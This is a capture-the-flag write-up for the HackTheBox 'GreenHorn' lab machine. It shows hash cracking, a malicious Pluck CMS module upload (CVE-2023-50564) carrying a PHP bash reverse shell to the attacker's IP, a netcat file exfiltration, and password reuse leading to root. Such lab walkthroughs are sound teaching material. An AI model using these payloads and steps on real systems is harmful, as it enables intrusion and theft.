GreenHorn – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“GreenHorn” is an easy machine from HackTheBox
platform. We are able to find that the victim server is running a Gitea
instance and a Pluck CMS
site. We are able to create an account in Gitea
service and find a hash inside a public repository; which we are able to crack and gain access to Pluck CMS
admin panel. We are able to install a malicious module in this service and gain initial access to the victim machine. Once inside the machine, we find that one of the internal users is recycling the password for Pluck CMS
site. This user has a PDF file with a pixelated password. We are able to “clear” the pixelated image, obtain the password for root
user and gain total control over the system.
User Link to heading
We start looking for open TCP
ports with Nmap
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.25
From the output we can see 3 ports open: 22
SSH
, 80
HTTP
and 3000
another HTTP
site; and we check their versions:
❯ sudo nmap -sVC -p22,80,3000 10.10.11.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 23:58 -04
Nmap scan report for 10.10.11.25
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=b37c13f914d7c31b; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=TfgSb8HSn0N38iQxFZ_XwzkGJWA6MTcyNDEyNjM0MDc5NjAwMzM4OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 20 Aug 2024 03:59:00 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=185b0fb05b5bb3e3; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=ChTQomRIw9JNYOh1X23Dlqf0Atw6MTcyNDEyNjM0NzM2MDMzNDA4Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 20 Aug 2024 03:59:07 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/19%Time=66C41483%P=x86_64-pc-linux-gnu%r
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.30 seconds
From the scan I note that port 80
is redirecting to http://greenhorn.htb
, so we add this domain to our /etc/hosts
file running:
❯ echo '10.10.11.25 greenhorn.htb' | sudo tee -a /etc/hosts
Before visiting the sites on a web browser, we use WhatWeb
against ports 80
and 3000
, where we have:
❯ whatweb -a 3 http://greenhorn.htb
http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]
❯ whatweb -a 3 http://greenhorn.htb:3000
http://greenhorn.htb:3000 [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.25], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[GreenHorn], X-Frame-Options[SAMEORIGIN]
From the output I can see that site on port 80
is running using Pluck
, whereas port 3000
is running Gitea
.
Visiting http://greenhorn.htb
now shows a simple webpage:
Reading the text from the webpage it clearly says that the site is still on development.
We could attempt to get directories through a Brute Force Directory Listing
, but since Pluck
is open source, we can check its Github repository. There I can see some files: admin.php
, index.php
, install.php
, requeriments.php
, login.php
and robots.txt
.
Visiting /admin.php
, as expected, throws an error since we are not logged in:
Additionally, after some seconds it redirects to /login.php
directory, where we can see:
Visiting the ther PHP
files or robots.txt
do not show anything interesting, so do not lose your time.
I also note from WhatWeb
, and also from the web browser itself, that when we visit http://greenhorn.htb
it redirects to http://greenhorn.htb/?file=welcome-to-greenhorn
. Attempting a Local File Inclusion
visiting, for example, http://greenhorn.htb/?file=../../../../../../../../etc/passwd
returns an error that shows the following text:
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
If we search for a random page such as test
visiting http://greenhorn.htb/?file=test
we get error 404 Not Found
:
At this point I decide to visit the site running Gitea
on port 3000
. Visiting http://greenhorn.htb:3000
we can see a typical Gitea
page:
We decide to create a generic user in this service. Once created we log in and we can see:
Now I usually start looking for exposed repositories. For this, we can click on Explore
at the top bar, which redirects us to http://greenhorn.htb:3000/explore/repos
. Here I can see another repository called GreenHorn
from a user called GreenAdmin
:
and entering on the repository we have:
Here we realized that the files contained in the repository are exactly the same from Pluck CMS Github repository. We can check this Line from Pluck repo for login.php file or login.php
from the internal repository where we have the portion of code:
<SNIP>
//If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
elseif (($pass != $ww) && (!isset($login_error))) {
$login_error = show_error($lang['login']['incorrect'], 1, true);
//If a loginattempt file already exists, update tries variable.
if (file_exists(LOGIN_ATTEMPT_FILE))
$tries++;
else
$tries = 1;
//Get current timestamp and save file.
save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
}
}
<SNIP>
where, in login.php
, we can see that, to allow the login, it is comparing the password passed by the user with the variable $ww
.
But where is $ww
variable? Googling it we find this post that explains how to install Pluck on Ubuntu. More specifically on the reply to the question How to Changing the Password?
, where they give the route data/settings/pass.php
. Also, looking at the source code, I note these lines are defining that file as well:
<SNIP>
require_once 'data/settings/pass.php';
//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';
if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
header('Location: admin.php');
exit;
}
<SNIP>
In the official Pluck
repository there is no file pass.php
. Nevertheless, in the repository from Gitea
there is a file data/settings/pass.php
where I can see the password:
with content:
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
but rather than a plaintext password, this is a hash of a password.
However, and as can be seen from the portion of code from login.php
it is using SHA512
encryption:
<SNIP>
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
$pass = hash('sha512', $cont1);
//Create hash from user-IP, for brute-force protection.
define('LOGIN_ATTEMPT_FILE', 'data/settings/loginattempt_'.hash('sha512', $_SERVER['REMOTE_ADDR']).'.php');
<SNIP>
We save that hash into our attacker machine and attempt to crack it through a Brute Force Password Cracking
using the tool JohnTheRipper
and the format SHA512
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt pluck_hash --format=Raw-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1 (?)
1g 0:00:00:00 DONE (2024-08-20 01:17) 33.33g/s 170666p/s 170666c/s 170666C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
and we got a password: iloveyou1
This password should work for /login.php
on the site running on port 80
. So we visit http://greenhorn.htb/login.php
and pass this password. This password works, and after some seconds we are now inside the administration panel:
Go to pages
at the top bar, and then to manage files
. Here, we will upload a simple PHP
webshell:
<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"'); ?>
where 10.10.16.3
is my attacker IP and 443
is the port I will start listening with netcat
. I save this file as gunzf0x.php
.
If we upload this file into the site, it adds the extensions .txt
as follows:
but if we visit the uploaded file, the code inside is not interpreted. So we will have to find another way to inject code into the site.
Searching for exploits for Pluck
with version 4.7.18
(as can be seen at the bottom left of the panel) yields to this blog to a vulnerability labeled as CVE-2023-50564. In short, we are able to install a fake module. This module could be a .zip
file with PHP
code inside it, which is interpreted by the system. So we compress our malicious PHP
file into a .zip
file:
❯ zip gunzf0x.zip gunzf0x.php
adding: gunzf0x.php (stored 0%)
Then, on Pluck
panel go to options
, then manage modules
we see:
Click on Install a module...
and upload the generated .zip
file:
Before clicking on Upload
, remember to start a netcat
listener. In my case I start listening on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Now we can click on Upload
. If this worked we should see the text The module has been installed succesfully
and after some seconds we get a shell as www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.25] 54736
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck$ whoami
whoami
www-data
Checking for users in this machine we have 3:
www-data@greenhorn:~/html/pluck$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
Since we have SSH
service running, we check if the password found for Pluck
login panel is recycled for any of these users using NetExec
:
❯ netexec ssh 10.10.11.25 -u junior -p 'iloveyou1'
SSH 10.10.11.25 22 10.10.11.25 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.25 22 10.10.11.25 [-] junior:iloveyou1 Bad authentication type; allowed types: ['publickey']
but the machine does not allow passwords to log in. Only keys.
For this reason, since we already have internal access to the machine, we attempt to pivot to junior
user with password iloveyou1
internally on the target machine:
www-data@greenhorn:~/html/pluck$ su junior
Password: iloveyou1
junior@greenhorn:/var/www/html/pluck$ whoami
junior
We can finally read the user flag as this new user:
junior@greenhorn:/var/www/html/pluck$ ls -la /home/junior
total 76
drwxr-xr-x 3 junior junior 4096 Jun 20 06:36 .
drwxr-xr-x 4 root root 4096 Jun 20 06:36 ..
lrwxrwxrwx 1 junior junior 9 Jun 11 14:38 .bash_history -> /dev/null
drwx------ 2 junior junior 4096 Jun 20 06:36 .cache
-rw-r----- 1 root junior 33 Aug 20 03:53 user.txt
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
Root Link to heading
As we saw previously, inside /home/junior
directory there is a file called Using OpenVAS.pdf
. We pass this file from the victim machine to our attacker machine using netcat
. We start a listener on port 8888
on our attacker machine, and everything received in that listener will be stored on a file called OpenVAS_file.pdf
:
❯ nc -lvnp 8888 > OpenVAS_file.pdf
listening on [any] 8888 ...
And in the target machine we run:
junior@greenhorn:~$ nc 10.10.16.3 8888 < 'Using OpenVAS.pdf'
where we can press Ctrl-C
after some seconds to ensure that the file has been transferred.
Reading the PDF file shows some text:
Apparently the password is pixelated. We can find a tool to pass from a pixelated to a “clear” image. For this we can use the tool Depix
. Download it from its Github repository. We take a screenshot from the pixelated password and save it as pixelated_text.png
:
and use the mentioned tool to “depixelate” it. Inside the repository there is directory called images/searchimages
containing the images with patterns to try:
❯ python3 depix.py -p pixelated_text.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated_text.png
2024-08-20 03:06:38,305 - Loading pixelated image from pixelated_text.png
2024-08-20 03:06:38,372 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
<SNIP>
2024-08-20 03:58:19,272 - Writing single match results to output
2024-08-20 03:58:19,277 - Writing average results for multiple matches to output
2024-08-20 04:00:02,285 - Saving output image to: depixelated_text.png
we get:
We have the text:
sidefromsidetheothersidesidefromsidetheotherside
We check if this is the password for root
user:
junior@greenhorn:~$ su root
Password: sidefromsidetheothersidesidefromsidetheotherside
root@greenhorn:/home/junior# whoami
root
and it is. We are root
. We can read the final flag at /root
directory and that’s it.
~Happy Hacking